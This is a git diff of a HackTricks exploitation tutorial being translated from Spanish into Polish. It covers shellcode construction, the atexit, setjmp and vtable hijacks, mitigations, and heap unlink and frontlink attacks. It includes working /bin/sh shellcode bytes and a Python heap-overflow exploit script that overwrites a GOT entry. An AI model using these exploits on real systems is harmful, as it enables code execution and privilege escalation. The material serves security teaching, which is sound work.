* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
|
@ -22,16 +23,16 @@ setreuid(0,0); // \_\_NR\_setreuid 70\
|
|||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
xor eax, eax ; czyścimy eax\
|
||||
xor ebx, ebx ; ebx = 0, ponieważ nie ma argumentu do przekazania\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Ejecutar syscall
|
||||
int 0x80 ; Wykonaj syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
**nasm -f elf assembly.asm** —> Zwraca nam .o\
|
||||
**ld assembly.o -o shellcodeout** —> Daje nam wykonywalny plik utworzony z kodu assemblera i możemy uzyskać opcodes za pomocą **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i uzyskać OpCodes
|
||||
|
||||
**Comprobar que la shellcode funciona**
|
||||
**Sprawdź, czy shellcode działa**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -41,11 +42,11 @@ fp = (void *)shellcode;
|
|||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w **strace ./SKOMPILOWANY\_PROGRAM**
|
||||
Aby zobaczyć, że wywołania systemowe są realizowane poprawnie, należy skompilować powyższy program, a wywołania systemowe powinny pojawić się w **strace ./PROGRAMA\_COMPILADO**
|
||||
|
||||
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
|
||||
Podczas tworzenia shellcode'ów można zastosować trik. Pierwsza instrukcja to skok do wywołania. Wywołanie (call) odwołuje się do oryginalnego kodu i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieściliśmy potrzebny ciąg, dzięki czemu z tym EIP możemy wskazać na ciąg i kontynuować wykonywanie kodu.
|
||||
|
||||
EJ **SZTUCZKA (/bin/sh)**:
|
||||
EJ **TRIK (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
|
@ -65,7 +66,7 @@ int $0x80 ; exit(0)
|
|||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**Użycie ESP z użyciem stosu (/bin/sh):**
|
||||
**EJ używając Stosu(/bin/sh):**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
|
@ -86,20 +87,20 @@ mov ecx, esp ; arg2 = args[]
|
|||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**Eksportowanie Stanu Zawartości Rejestru FPU:**
|
||||
**EJ FNSTENV:**
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||||
…
|
||||
```
|
||||
**Łowca jajek:**
|
||||
**Egg Huter:**
|
||||
|
||||
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.
|
||||
Składa się z małego kodu, który przeszukuje strony pamięci związane z procesem w poszukiwaniu shellcode tam przechowywanego (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń na wstrzyknięcie kodu.
|
||||
|
||||
**Shellkody polimorficzne**
|
||||
**Shellcodes polimórficzne**
|
||||
|
||||
Polegają na zaszyfrowanych shellach, które mają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowanego szyfru Cezara**:
|
||||
Składają się z zaszyfrowanych shelli, które mają mały kod, który je deszyfruje i przeskakuje do niego, używając sztuczki Call-Pop, to byłby **przykład szyfrowania cezara**:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -118,25 +119,17 @@ call init
|
|||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
## **5. Metody uzupełniające**
|
||||
## **5.Métodos complementarios**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Technika Murata**
|
||||
**Technika Murat**
|
||||
|
||||
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff
|
||||
|
||||
Analizując jak jest budowany stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, że program zostanie uruchomiony w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
Patrząc na to, jak budowana jest stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, aby program był uruchamiany w środowisku, którego jedyną zmienną byłby shellcode. Adres ten można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA\_pełnego\_programu) - strlen(shellcode)
|
||||
|
||||
W ten sposób można łatwo uzyskać adres zmiennej środowiskowej zawierającej shellcode.
|
||||
W ten sposób można łatwo uzyskać adres, w którym znajduje się zmienna środowiskowa z shellcode.
|
||||
|
||||
Można to zrobić dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko te zmienne środowiskowe, które są wymagane.
|
||||
|
||||
|
||||
|
||||
##
|
||||
Można to zrobić dzięki funkcji execle, która pozwala na stworzenie środowiska, które ma tylko te zmienne środowiskowe, które są pożądane.
|
||||
|
||||
###
|
||||
|
||||
|
@ -146,75 +139,77 @@ Można to zrobić dzięki funkcji execle, która pozwala tworzyć środowisko za
|
|||
|
||||
###
|
||||
|
||||
### **Formatowanie łańcuchów do przepełnień buforów**
|
||||
###
|
||||
|
||||
Funkcja **sprintf** przesuwa sformatowany łańcuch do zmiennej. Dlatego można nadużyć formatowania łańcucha, aby spowodować przepełnienie bufora w zmiennej, do której jest kopiowana zawartość.\
|
||||
Na przykład ładunek `%.44xAAAA` zapisze 44B+"AAAA" w zmiennej, co może spowodować przepełnienie bufora.
|
||||
### **Format Strings to Buffer Overflows**
|
||||
|
||||
### **Struktury \_\_atexit**
|
||||
**sprintf** przenosi sformatowany ciąg **do** **zmiennej.** Dlatego można nadużyć **formatowania** ciągu, aby spowodować **przepełnienie bufora w zmiennej**, do której kopiowana jest zawartość.\
|
||||
Na przykład, ładunek `%.44xAAAA` **zapisze 44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora.
|
||||
|
||||
### **\_\_atexit Structures**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie jest bardzo **rzadko wykorzystywane**.
|
||||
Obecnie bardzo **dziwne jest wykorzystanie tego**.
|
||||
{% endhint %}
|
||||
|
||||
Funkcja **`atexit()`** to funkcja, do której przekazywane są inne funkcje jako parametry. Te funkcje zostaną wykonane podczas wywołania **`exit()`** lub powrotu z funkcji **main**.\
|
||||
Jeśli można **zmodyfikować** adres którejś z tych funkcji, aby wskazywał na shellcode na przykład, można przejąć kontrolę nad procesem, ale obecnie jest to bardziej skomplikowane.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, na który wskazują, nie jest adresem funkcji, lecz jest **zaszyfrowany za pomocą operacji XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku nie jest zbyt przydatny, przynajmniej na architekturach x86 i x64\_86.\
|
||||
Funkcja **szyfrowania** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrowania**, ponieważ **zwracają to samo**, co otrzymały jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku.
|
||||
**`atexit()`** to funkcja, do której **przekazywane są inne funkcje jako parametry.** Te **funkcje** będą **wykonywane** podczas wykonywania **`exit()`** lub **powrotu** z **main**.\
|
||||
Jeśli możesz **zmodyfikować** **adres** dowolnej z tych **funkcji**, aby wskazywał na shellcode, na przykład, zyskasz **kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\
|
||||
Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adresy, na które wskazują, nie są adresami funkcji, ale są **szyfrowane za pomocą XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku jest **niewiele użyteczny przynajmniej na x86** i **x64\_86**.\
|
||||
Funkcja **szyfrująca** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrującej**, ponieważ **zwraca to samo**, co otrzymała jako wejście. Tak więc te architektury byłyby atakowalne przez ten wektor.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie jest bardzo **rzadko wykorzystywane**.
|
||||
Obecnie bardzo **dziwne jest wykorzystanie tego**.
|
||||
{% endhint %}
|
||||
|
||||
**`Setjmp()`** pozwala **zapisać** kontekst (rejestry)\
|
||||
**`longjmp()`** pozwala **przywrócić** kontekst.\
|
||||
Zapisane rejestry to: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Problem polega na tym, że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektury podatne na ten atak są takie same jak wyżej**.\
|
||||
Są one przydatne do obsługi błędów lub przerwań.\
|
||||
Jednak z tego, co przeczytałem, inne rejestry nie są chronione, **więc jeśli wewnątrz wywoływanej funkcji występuje `call ebx`, `call esi` lub `call edi`**, można przejąć kontrolę. Można także zmodyfikować EBP, aby zmienić ESP.
|
||||
**`Setjmp()`** pozwala na **zapisanie** **kontekstu** (rejestrów)\
|
||||
**`longjmp()`** pozwala na **przywrócenie** **kontekstu**.\
|
||||
**Zapisane rejestry** to: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Co się dzieje, to to, że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektury podatne na ten atak są takie same jak powyżej**.\
|
||||
Są one przydatne do odzyskiwania błędów lub przerwań.\
|
||||
Jednak, z tego co przeczytałem, inne rejestry nie są chronione, **więc jeśli w funkcji wywoływanej znajduje się `call ebx`, `call esi` lub `call edi`**, kontrola może być przejęta. Można również zmodyfikować EBP, aby zmodyfikować ESP.
|
||||
|
||||
**VTable i VPTR w C++**
|
||||
|
||||
Każda klasa ma **Vtable**, która jest tablicą **wskaźników do metod**.
|
||||
|
||||
Każdy obiekt klasy ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli osiągnięto **nadpisanie** VPtr, można je **zmienić**, aby wskazywało na metodę zastępczą, dzięki czemu wykonanie funkcji przejdzie do shellcode.
|
||||
Każdy obiekt klasy ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli uda się **nadpisać** **VPtr**, można go **zmodyfikować**, aby **wskazywał** na metodę zastępczą, tak aby wykonanie funkcji prowadziło do shellcode.
|
||||
|
||||
## **Środki zapobiegawcze i unikanie**
|
||||
## **Medidas preventivas y evasiones**
|
||||
|
||||
###
|
||||
|
||||
**Zastąpienie Libsafe**
|
||||
|
||||
Włącza się za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
Aktywuje się za pomocą: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
lub\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Wywołania niektórych funkcji niewłaściwych są przechwytywane przez inne bezpieczne funkcje. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla statycznych kompilacji, nie wszystkie niewłaściwe funkcje stają się bezpieczne, a LD\_PRELOAD nie działa dla binarnych z ustawionym suid).
|
||||
Przechwytywane są wywołania do niektórych niebezpiecznych funkcji przez inne bezpieczne. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie funkcje podatne stają się bezpieczne, a LD\_PRELOAD nie działa w binariach z suid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednakże to nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian.
|
||||
Polega na załadowaniu bibliotek współdzielonych od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednak to naprawdę nie zatrzymuje prawie żadnego ataku, a tym bardziej w little endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt), a następnie wskazuje się na wpis w GOT i kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest wykonywane wskazując na GOT+1 i kopiując 2. bajt system()... Na końcu wywoływany jest zapisany adres w GOT, który będzie system()
|
||||
Polega na przeprowadzeniu ROP w taki sposób, aby wywołać funkcję strcpy@plt (z plt) i wskazać na wpis w GOT oraz skopiować pierwszy bajt funkcji, którą chce się wywołać (system()). Następnie robi się to samo, wskazując na GOT+1 i kopiując 2. bajt system()… Na końcu wywołuje się adres zapisany w GOT, który będzie system().
|
||||
|
||||
**Klatki z chroot()**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu
|
||||
|
||||
Administrator może wyjść z takiej klatki wykonując: mkdir foo; chroot foo; cd ..
|
||||
Administrator może wyjść z jednej z tych klatek, wykonując: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Instrumentacja kodu**
|
||||
|
||||
Valgrind —> Wyszukuje błędów\
|
||||
Valgrind —> Szuka błędów\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Przepełnienia sterty: Podstawowe exploity**
|
||||
## **8 Heap Overflows: Exploits básicos**
|
||||
|
||||
**Przydzielony kawałek**
|
||||
|
||||
|
@ -226,141 +221,149 @@ size | —Nagłówek\
|
|||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Wskaźnik do przodu do kawałka\
|
||||
\*bk | Wskaźnik do tyłu do kawałka —Nagłówek\
|
||||
\*fd | Wskaźnik do następnego kawałka\
|
||||
\*bk | Wskaźnik do poprzedniego kawałka —Nagłówek\
|
||||
\*mem | Dane
|
||||
|
||||
Wolne kawałki są w liście podwójnie wiązanej (bin) i nigdy nie mogą występować dwa wolne kawałki obok siebie (są łączone)
|
||||
Wolne kawałki znajdują się na podwójnie powiązanej liście (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone).
|
||||
|
||||
W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru.
|
||||
W "size" są bity, aby wskazać: Czy poprzedni kawałek jest w użyciu, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównej areny.
|
||||
|
||||
Jeśli przy zwalnianiu kawałka którykolwiek z sąsiednich kawałków jest wolny, są one łączone za pomocą makra unlink() i nowy, większy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
|
||||
Jeśli podczas zwalniania kawałka którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i nowy większy kawałek jest przekazywany do frontlink(), aby wstawił odpowiedni bin.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> BK nowego kawałka to ten, który był wolny wcześniej\
|
||||
FD = P->fd; —> FD nowego kawałka to ten, który był wolny wcześniej\
|
||||
BK = P->bk; —> BK nowego kawałka to ten, który miał już wcześniej wolny\
|
||||
FD = P->fd; —> FD nowego kawałka to ten, który miał już wcześniej wolny\
|
||||
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
|
||||
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
|
||||
}
|
||||
|
||||
Dlatego jeśli uda się zmodyfikować P->bk na adres shellcode i P->fd na adres wpisu w GOT lub DTORS pomniejszony o 12, osiągnięto:
|
||||
Dlatego, jeśli uda nam się zmodyfikować P->bk z adresem shellcode i P->fd z adresem do wpisu w GOT lub DTORS minus 12, osiągamy:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
W ten sposób po wyjściu z programu zostanie wykonana shellcode.
|
||||
I w ten sposób shellcode zostanie wykonany po zakończeniu programu.
|
||||
|
||||
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:
|
||||
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być naprawiona dla tego:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops prowadzących do reszty shellcode.
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> To powoduje zapisanie 4 bajtów od 8. bajtu shellcode, więc pierwsza instrukcja shellcode musi być jmp, aby to przeskoczyć i przejść do nops, które prowadzą do reszty shellcode.
|
||||
|
||||
Dlatego exploit jest tworzony:
|
||||
W związku z tym exploit jest tworzony:
|
||||
|
||||
W buforze1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.
|
||||
W buffer1 umieszczamy shellcode, zaczynając od jmp, aby trafić w nops lub w resztę shellcode.
|
||||
|
||||
Następnie po shellcode dodajemy wypełnienie do osiągnięcia pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i oznaczyć go jako wolny) oraz “-4” (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, w rzeczywistości przejdzie do zmodyfikowanego prev\_size, który wskaże, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3. kawałka, ale w rzeczywistości przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie zostanie wywołane **unlink()**.
|
||||
Podczas wywoływania unlink() użyje pierwszych danych z drugiego kawałka jako P->fd, więc tam zostanie umieszczony adres, który chcesz nadpisać - 12 (ponieważ w FD->bk dodaje 12 do adresu przechowywanego w FD). Następnie w tym adresie zostanie wprowadzony drugi adres znaleziony w drugim kawałku, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).
|
||||
Po shellcode dodajemy wypełnienie, aż dotrzemy do pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (w taki sposób, aby nadpisać prev\_size, aby miał bit wskazujący, że jest wolny) i “-4“(0xfffffffc) w size (aby, gdy sprawdzi w 3. kawałku, czy 2. był w rzeczywistości wolny, poszło do zmodyfikowanego prev\_size, które powie, że jest wolny) -> Tak więc, gdy free() zbada, pójdzie do size 3. kawałka, ale w rzeczywistości pójdzie do 2. - 4 i pomyśli, że 2. kawałek jest wolny. A następnie wywoła **unlink()**.
|
||||
|
||||
```python
|
||||
from struct import *
|
||||
import os
|
||||
Podczas wywoływania unlink() użyje jako P->fd pierwszych danych 2. kawałka, więc tam wprowadzi adres, który chce nadpisać - 12 (ponieważ w FD->bk doda 12 do zapisanej w FD adresu). A w tym adresie wprowadzi drugi adres, który znajdzie w 2. kawałku, który nas interesuje, aby był adresem do shellcode (fałszywe P->bk).
|
||||
|
||||
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
|
||||
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
|
||||
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
|
||||
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
||||
**from struct import \***
|
||||
|
||||
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
|
||||
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
|
||||
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
|
||||
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
|
||||
**import os**
|
||||
|
||||
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
|
||||
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
|
||||
os.system("./8.3.o " + payload)
|
||||
```
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtów wypełnienia**
|
||||
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanej.
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, aby myślał, że “size” 3. kawałka jest 4 bajty wstecz (wskazuje na prev\_size), ponieważ tam sprawdza, czy 2. kawałek jest wolny**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na początku ładunku umieścimy 8 bajtów wypełnienia**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie to adres, który zostanie nadpisany, aby uruchomić shellcode przy 2. wywołaniu free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Jak już powiedziano, ładunek zaczyna się od 8 bajtów wypełnienia, bo tak**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modyfikujemy 2. kawałek, got\_free wskazuje, gdzie zapiszemy adres addr\_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() zwalniając w odwrotnej kolejności (wargame)**
|
||||
|
||||
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanych.
|
||||
|
||||
W tym przypadku:
|
||||
|
||||
W kawałku c umieszczamy shellcode
|
||||
|
||||
Kawałek a używamy do nadpisania b w taki sposób, że rozmiar ma wyłączony bit PREV_INUSE, aby myślał, że kawałek a jest wolny.
|
||||
Kawałek a używamy do nadpisania b w taki sposób, aby size miało bit PREV\_INUSE wyłączony, aby myślał, że kawałek a jest wolny.
|
||||
|
||||
Dodatkowo, nadpisujemy w nagłówku b rozmiar, aby wynosił -4.
|
||||
Dodatkowo, nadpisujemy w nagłówku b size, aby wynosiło -4.
|
||||
|
||||
W rezultacie program będzie myślał, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV_SIZE wynosi -4. Będzie myślał, że kawałek "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() na kawałek, który zaczyna się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".
|
||||
W ten sposób program pomyśli, że “a” jest wolne i w binie, więc wywoła unlink() w celu odłączenia go. Jednak, ponieważ nagłówek PREV\_SIZE wynosi -4, pomyśli, że kawałek “a” w rzeczywistości zaczyna się w b+4. To znaczy, wywoła unlink() na kawałku, który zaczyna się w b+4, więc w b+12 będzie wskaźnik “fd”, a w b+16 będzie wskaźnik “bk”.
|
||||
|
||||
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()" -12, mamy nasz payload.
|
||||
W ten sposób, jeśli w bk umieścimy adres do shellcode, a w fd umieścimy adres do funkcji “puts()”-12, mamy nasz ładunek.
|
||||
|
||||
**Technika Frontlink**
|
||||
|
||||
Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich kawałków nie jest wolny, wtedy nie jest wywoływane unlink(), ale jest wywoływane bezpośrednio frontlink().
|
||||
Nazywa się frontlink, gdy zwalnia się coś i żaden z jego sąsiednich kawałków nie jest wolny, nie wywołuje się unlink(), lecz bezpośrednio wywołuje frontlink().
|
||||
|
||||
Użyteczna podatność, gdy atakowany malloc nigdy nie jest zwalniany (free()).
|
||||
Przydatna podatność, gdy malloc, który jest atakowany, nigdy nie jest zwalniany (free()).
|
||||
|
||||
Wymagane:
|
||||
Wymaga:
|
||||
|
||||
Bufor, który może być przepełniony funkcją wejściową
|
||||
Bufora, który może być przepełniony za pomocą funkcji wejściowej
|
||||
|
||||
Bufor sąsiadujący z tym, który zostanie zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu wcześniejszego bufora
|
||||
Bufora przylegającego do tego, który musi być zwolniony i którego pole fd nagłówka zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
|
||||
|
||||
Bufor do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
|
||||
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
|
||||
|
||||
Bufor zadeklarowany przed krokiem 3, który pozwala na nadpisanie prev_size tego bufora
|
||||
Bufora zadeklarowanego przed krokiem 3, który pozwoli na nadpisanie prev\_size tego
|
||||
|
||||
W ten sposób, nadpisując w dwóch mallocach w sposób niekontrolowany i w jednym kontrolowanym, który jest zwalniany tylko raz, możemy przeprowadzić exploit.
|
||||
W ten sposób, osiągając nadpisanie w dwóch mallocach w sposób niekontrolowany i w jednym w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy stworzyć exploit.
|
||||
|
||||
**Podatność double free()**
|
||||
|
||||
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, powstają dwa biny wskazujące na ten sam adres.
|
||||
Jeśli wywoła się dwa razy free() z tym samym wskaźnikiem, pozostają dwa biny wskazujące na ten sam adres.
|
||||
|
||||
Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć innego, zostanie przypisane to samo miejsce, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zapisze poprzednia rezerwacja.
|
||||
W przypadku chęci ponownego użycia jednego, zostanie przypisany bez problemów. W przypadku chęci użycia drugiego, zostanie przypisany ten sam obszar, przez co będziemy mieli wskaźniki “fd” i “bk” fałszywe z danymi, które zapisze poprzednia rezerwacja.
|
||||
|
||||
**After free()**
|
||||
|
||||
Wcześniej zwolniony wskaźnik jest ponownie używany bez kontroli.
|
||||
Wcześniej zwolniony wskaźnik jest używany ponownie bez kontroli.
|
||||
|
||||
## **8 Przepełnienia sterty: Zaawansowane exploitacje**
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
|
||||
Techniki Unlink() i FrontLink() zostały usunięte po zmodyfikowaniu funkcji unlink().
|
||||
Techniki Unlink() i FrontLink() zostały usunięte po modyfikacji funkcji unlink().
|
||||
|
||||
**The house of mind**
|
||||
|
||||
Wystarczy jedno wywołanie free(), aby spowodować wykonanie arbitralnego kodu. Warto znaleźć drugi kawałek, który może zostać przepełniony przez poprzedni i zwolniony.
|
||||
Wystarczy jedno wywołanie free(), aby spowodować wykonanie dowolnego kodu. Ważne jest, aby znaleźć drugi kawałek, który może być przepełniony przez wcześniejszy i zwolniony.
|
||||
|
||||
Wywołanie free() powoduje wywołanie public_fREe(mem), które wykonuje:
|
||||
Wywołanie free() powoduje wywołanie public\_fREe(mem), co robi:
|
||||
|
||||
mstate ar_ptr;
|
||||
mstate ar\_ptr;
|
||||
|
||||
mchunkptr p;
|
||||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> Zwraca wskaźnik do miejsca, od którego zaczyna się kawałek (mem-8)
|
||||
p = mem2chunk(mem); —> Zwraca wskaźnik do adresu, w którym zaczyna się kawałek (mem-8)
|
||||
|
||||
…
